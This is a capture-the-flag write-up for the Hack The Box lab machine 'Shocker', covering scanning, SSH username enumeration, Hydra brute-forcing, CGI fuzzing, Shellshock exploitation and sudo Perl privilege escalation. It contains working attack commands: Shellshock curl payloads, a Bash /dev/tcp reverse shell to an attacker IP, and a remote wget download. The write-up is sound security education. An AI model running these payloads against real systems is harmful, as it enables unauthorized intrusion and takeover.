Hack The Box "Shocker" Writeup
Shocker is a retired easy Linux box by mrb3n. It was released on October 3rd, 2017.
Scanning
I began by scanning the machine:
$ nmap -A -T4 10.10.10.56
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-30 21:59 EDT
Nmap scan report for 10.10.10.56
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have Apache running on port 80 and OpenSHH on port 2222.
Enumeration
Port 2222
I usually start with SSH because if password bruteforcing seems to be a valid avenue, it’s best to start it early. Let’s attempt to connect to the server:
$ ssh 10.10.10.56 -p 2222
We are asked for a password—password authentication is enabled. Next, let’s see if there are any salient vulnerabilities for this version of OpenSSH, 7.2p2.
$ searchsploit openssh 7.2p2
-------------------------------------- -----------------------
Exploit Title | Path
-------------------------------------- -----------------------
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
-------------------------------------- -----------------------
Sure enough, this version is vulnerable to username
enumeration through a side-channel timing attack when
submitting very long passwords. I downloaded the script, set
up a virtual environment, installed the dependencies, and
monkey-patched time.clock = time.time
because the former
was deprecated. I ran it multiple times with a small list of
17 usernames—the following is one output:
./40136.py -U usernames.txt 10.10.10.56:2222 --samples 64 --trials 32
...
[*] Baseline mean for host 10.10.10.56 is 0.36141190990324945 seconds.
[*] Baseline variation for host 10.10.10.56 is 0.003058627316928219 seconds.
[*] Defining timing of x < 0.3705877918540341 as non-existing user.
[*] Testing your users...
[-] root - timing: 0.3622346520423889
[-] admin - timing: 0.3608233258128166
[-] test - timing: 0.36106352508068085
[-] guest - timing: 0.3625797629356384
[+] info - timing: 0.3719070628285408
[-] adm - timing: 0.36521296203136444
[-] mysql - timing: 0.3658187761902809
[-] user - timing: 0.3619757816195488
[-] administrator - timing: 0.3607597276568413
[-] oracle - timing: 0.3613279387354851
[-] ftp - timing: 0.3622165694832802
[-] pi - timing: 0.36343473941087723
[-] puppet - timing: 0.36332932114601135
[-] ansible - timing: 0.36283544450998306
[-] ec2-user - timing: 0.362905390560627
[-] vagrant - timing: 0.36412063241004944
[-] azureuser - timing: 0.3640487641096115
I found the results across iterations to be inconsistent and
unconvincing, though the user info
was returned
consistently enough for me to run Hydra against the service
with a small password list of the top 1,000 most common
passwords:
hydra -l info -P 1000-passwords.txt ssh://10.10.10.56:2222 -t 4
Port 80
While Hydra is running, let’s check out the website:
This is the only content, and there’s nothing interesting in the source. Let’s try directory fuzzing with Gobuster:
gobuster dir --url http://10.10.10.56/ --wordlist dirb.txt
While that was running, I researched vulnerabilities in version 2.4.18 of Apache. I didn’t find anything particularly relevant for version 2.4.18 but I did find an interesting privilege escalation vulnerability that I might’ve been able to use later.
Gobuster returned the following:
/cgi-bin/ (Status: 403) [Size: 294]
/.hta (Status: 403) [Size: 290]
/.htaccess (Status: 403) [Size: 295]
/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/index.html (Status: 200) [Size: 137]
/server-status (Status: 403) [Size: 299]
/server-status (Status: 403) [Size: 299]
Let’s run it again on /cgi-bin/
:
$ gobuster dir --url http://10.10.10.56:/cgi-bin/ --wordlist cgibin.txt
...
/user.sh (Status: 200) [Size: 118]
I made my own set of wordlists for /cgi-bin/
enumeration
which I used for this box because I was dissatisfied with
existing lists. You can get them
here.
Anyways, let’s make a request to the script:
$ curl http://10.10.10.56:80/cgi-bin/user.sh
Content-Type: text/plain
Just an uptime test script
01:47:41 up 3 min, 0 users, load average: 0.03, 0.07, 0.03
As is self-described, it’s a script that runs uptime
. This
server could possibly be vulnerable to
Shellshock,
an attack that exploits a vulnerability in how Bash
processes environment variables to remotely execute
arbitrary code. That’s why I didn’t see it when initially
researching vulnerabilities for the web server—it’s
technically a vulnerability in Bash.
Exploitation
Let’s see if Shellshock works:
$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo Vulnerble!'" http://10.10.10.56:80/cgi-bin/user.sh
Vulnerable!
Sure enough, we get a response back from the server of the output of our command! Let’s pop a reverse shell. We’ll start by listening on our host:
ncat -lvnp 4444
Then, we’ll connect to the listener on the target through Shellshock. I used Bash’s virtual TCP files to connect as Netcat was not present on the system:
$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'sh -i >& /dev/tcp/10.10.14.9/4444 0>&1'" http://10.10.10.56:80/cgi-bin/user.sh
$ whoami
shelly
Great! We can get the user flag with cat /home/shelly/user.txt
.
Privilege Escalation
Next, I transferred over the Linux Smart Enumeration tool Because I only have port 4444 opened on my firewall for Hack The Box, I had to drop the shell, serve the script on an HTTP server, and use Shellshock to download it:
$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'wget http://10.10.14.9:4444/lse_cve.sh -O /tmp/lse.sh'" http://10.10.10.56:80/cgi-bin/user.sh
After marking it executable and running it, I found some interesting information:
...
[!] sud010 Can we list sudo commands without a password?... yes!
...
[!] ctn210 Is the user a member of any lxc/lxd group?...... yes!
...
Being a member of the LXC group allows us to mount the root
filesystem in a container and read files which we do not
normally have the privilege to read. Before proceeding with
that exploit, let’s check what we can run with sudo
:
$ sudo -l
...
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Being able to run Perl as root
with no password is much
easier to exploit than being a member of the LXC group.
Let’s open a shell as root
:
sudo perl -e 'exec "/bin/sh";'
Finally, we can read /root/root.txt
and pwn the machine
for good.